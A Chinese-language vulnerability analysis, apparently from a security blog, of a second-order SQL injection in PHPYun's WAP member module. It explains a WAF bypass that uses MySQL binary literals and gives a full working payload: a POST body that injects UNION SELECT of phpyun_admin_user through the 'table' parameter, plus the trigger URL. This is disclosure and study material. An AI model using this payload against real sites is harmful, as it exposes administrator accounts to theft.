漏洞说明
这个漏洞涉及到了mysql中比较有意思的两个知识点以及以table
作为二次注入的突破口,非常的有意思。此cms的防注入虽然是很变态的,但是却可以利用mysql的这两个特点绕过防御。本次的漏洞是出现在ndex.class.php
中的likejob_action()
和saveresumeson_action()
函数,由于这两个函数对用户的输入没有进行严格的显示,同时利用mysql的特点能够绕过waf。
PS:此漏洞的触发需要在WAP环境下,所以在进行调试的时候需要修改浏览器的ua为Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Mobile Safari/537.36
。
漏洞分析
mysql特点
传统的插入方式可能大家想到的都是insert into test(id,content,title) values(1,'hello','hello')
。如果我们仅仅值需要插入一条记录,则使用insert into test(content) values('hello2')
。如下图所示:
但是实际上还存在另外一种方式能够仅仅值插入一条记录。
insert into test set content='hello3';
可以看到这种方式和insert into test(content) values('hello2')
是一样的。
说明插入数据时,利用values()
和通过=
指定列的方式结果都一样
我们知道mysql中能够使用十六进制表示字符串。如下:
其中0x68656c6c6f
表示的就是hello
。这是一个很常见的方式。
除了使用十六进制外,还可以使用二进制的方式进行插入。hello
的二进制是01101000 01100101 01101100 01101100 01101111
,那么我们的SQL语句还可以这样写,insert into test set content=0b0110100001100101011011000110110001101111
。这种方式和insert into test(content) values (0b0110100001100101011011000110110001101111)
是一样的。
mysql不仅可以使用十六进制插入,还可以使用二进制的方式插入
waf防护分析
waf的防护是位于config/db.safety.php
其中的gpc2sql()
过滤代码如下:
function gpc2sql($str, $str2) {
if (preg_match("/select|insert|update|delete|load_file|outfile/is", $str)) {
exit(safe_pape());
}
if (preg_match("/select|insert|update|delete|load_file|outfile/is", $str2)) {
exit(safe_pape());
}
$arr = array("sleep" => "Sleep", " and " => " an d ", " or " => " Or ", "xor" => "xOr", "%20" => " ", "select" => "Select", "update" => "Update", "count" => "Count", "chr" => "Chr", "truncate" => "Truncate", "union" => "Union", "delete" => "Delete", "insert" => "Insert", """ => "“", "'" => "“", "--" => "- -", "(" => "(", ")" => ")", "00000000" => "OOOOOOOO", "0x" => "Ox");
foreach ($arr as $key => $v) {
$str = preg_replace('/' . $key . '/isU', $v, $str);
}
return $str;
}
可以看到将0x
替换为了Ox
,所以无法传入十六进制,但是我们却可以利用mysql中的二进制的特点,利用0b
的方式传入我们需要的payload。
index.class.php漏洞分析
漏洞是位于wap/member/model/index.class.php
中,漏洞产生的主要函数是位于likejob_action()
和saveresumeson_action()
中。我们首先分析likejob_action()
。likejob_action()
的主要代码如下:
而DB_update_all()
的代码如下:
function DB_update_all($tablename, $value, $where = 1,$pecial=''){
if($pecial!=$tablename){
$where =$this->site_fetchsql($where,$tablename);
}
$SQL = "UPDATE `" . $this->def . $tablename . "` SET $value WHERE ".$where;
$this->db->query("set sql_mode=''");
$return=$this->db->query($SQL);
return $return;
}
也就是说,当数据进入到DB_update_all()
之后就不会有任何的过滤。那么漏洞点就在于resume_expect
中的job_classid
字段。job_classid
字段的内容的传递如下图所示:
所以如如果我们控制了resume_expect
中的job_classid
字段,我们就能够修改这条语句了。
我们可以借助于saveresumeson_action()
来向job_classid
中插入我们的payload。saveresumeson_action()
的关键代码如下:
可以看到$table
是直接通过"resume_".$_POST['table']
拼接的,这也就以为着$table
是我们可控的,之后$table
进入了$this->obj->update_once()
中。我们进入uptate_once()
中:
$table
变量在update_once()
没有进行任何的处理,直接进入到DB_update_all()
中,我们追踪进入到DB_update_all()
中:
同样没有进行任何的处理。
通过上面的跟踪分析,表明$table="resume_".$_POST['table'];
赋值之后,中途$table
变量没有进行任何的过滤直接进入了最终的SQL语句查询。
如此整个攻击链就成功了,我们通过saveresumeson_action()
中的$table
可控,对resume_expect
中的job_classid
进行修改,之后通过likejob_action()
读取job_classid
字段的内容,执行我们的SQL语句。
由于我们无法使用十六进制,此时我们就需要使用到二进制(0b
)插入我们的payload。
漏洞复现
注册用户/创建简历
注册用户创建简历。此时在phpyun_resume_expect
中存在一条id=1
的记录。
访问saveresumeson
我们访问saveresumeson
对应的URL,写入我们的payload。根据语法,我们需要将table
的内容设置为
expect' set class_id=1))/**/union/**/select/**/1,username,3,4,5,6,7,8,9,10,11,12/**/from/**/phpyun_admin_user #,uid=1 #
由于1))/**/union/**/select/**/1,username,3,4,5,6,7,8,9,10,11,12/**/from/**/phpyun_admin_user #
无法绕过SQL的防御,需要转化为二进制,是001100010010100100101001001011110010101000101010001011110111010101101110011010010110111101101110001011110010101000101010001011110111001101100101011011000110010101100011011101000010111100101010001010100010111100110001001011000111010101110011011001010111001001101110011000010110110101100101001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101111001010100010101000101111011001100111001001101111011011010010111100101010001010100010111101110000011010000111000001111001011101010110111001011111011000010110010001101101011010010110111001011111011101010111001101100101011100100010000000100011
那么最终的payload是:
URL:http://localhost/wap//member/index.php?c=saveresumeson&eid=1
POST:name=java%e5%a4%a7%e6%95%b0%e6%8d%ae%e5%bc%80%e5%8f%91&sdate=2018-02&edate=2018-03&title=%e6%a0%b8%e5%bf%83%e5%bc%80%e5%8f%91%e4%ba%ba%e5%91%98&content=java%e5%a4%a7%e6%95%b0%e6%8d%ae%e5%ba%93%e5%bc%80%e5%8f%91&eid=1&id=&submit=%e4%bf%9d%e5%ad%98&table=expect%60set+job_classid%3d0b0011000100101001001010010010111100101010001010100010111101110101011011100110100101101111011011100010111100101010001010100010111101110011011001010110110001100101011000110111010000101111001010100010101000101111001100010010110001110101011100110110010101110010011011100110000101101101011001010010110000110011001011000011010000101100001101010010110000110110001011000011011100101100001110000010110000111001001011000011000100110000001011000011000100110001001011000011000100110010001011110010101000101010001011110110011001110010011011110110110100101111001010100010101000101111011100000110100001110000011110010111010101101110010111110110000101100100011011010110100101101110010111110111010101110011011001010111001000100011%2cuid%3d1+%23
此时我们执行的SQL语句是:
INSERT INTO `phpyun_resume_expect`set job_classid=0b001100010010100100101001001011110010101000101010001011110111010101101110011010010110111101101110001011110010101000101010001011110111001101100101011011000110010101100011011101000010111100101010001010100010111100110001001011000111010101110011011001010111001001101110011000010110110101100101001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101111001010100010101000101111011001100111001001101111011011010010111100101010001010100010111101110000011010000111000001111001011101010110111001011111011000010110010001101101011010010110111001011111011101010111001101100101011100100010000000100011,uid=1 #` SET
最终数据库中多了一条记录,如下:
我们顺利地向job_classid
中插入了我们的的payload
访问likejob_action触发payload
接下来我们访问http://localhost/member/index.php?c=likejob&id=7
,其中的id就是刚刚我们插入的payload所对应记录的id。当运行至DB_select_all()
中执行的SQL语句是:
为了便于分析,我们将这条SQL语句放入到datagrid中分析:
最终在页面上显示admin
的信息。
至此整个漏洞都分析完毕了。
总结
一般来说,二次注入利用点一般都比较隐晦。所以二次注入的思路比一般的注入更加巧妙和有意思,在本例中体现得尤为明显。
- 这个二次注入的点比较难找,二次注入中的利用
table
作为二次注入的利用点的例子还是比较少见的; - 绕过方法也比较少见。本例中的waf的防护还是比较严格的,利用了mysql的两个少见特性就可以绕过了。
发表评论
您还未登录,请先登录。
登录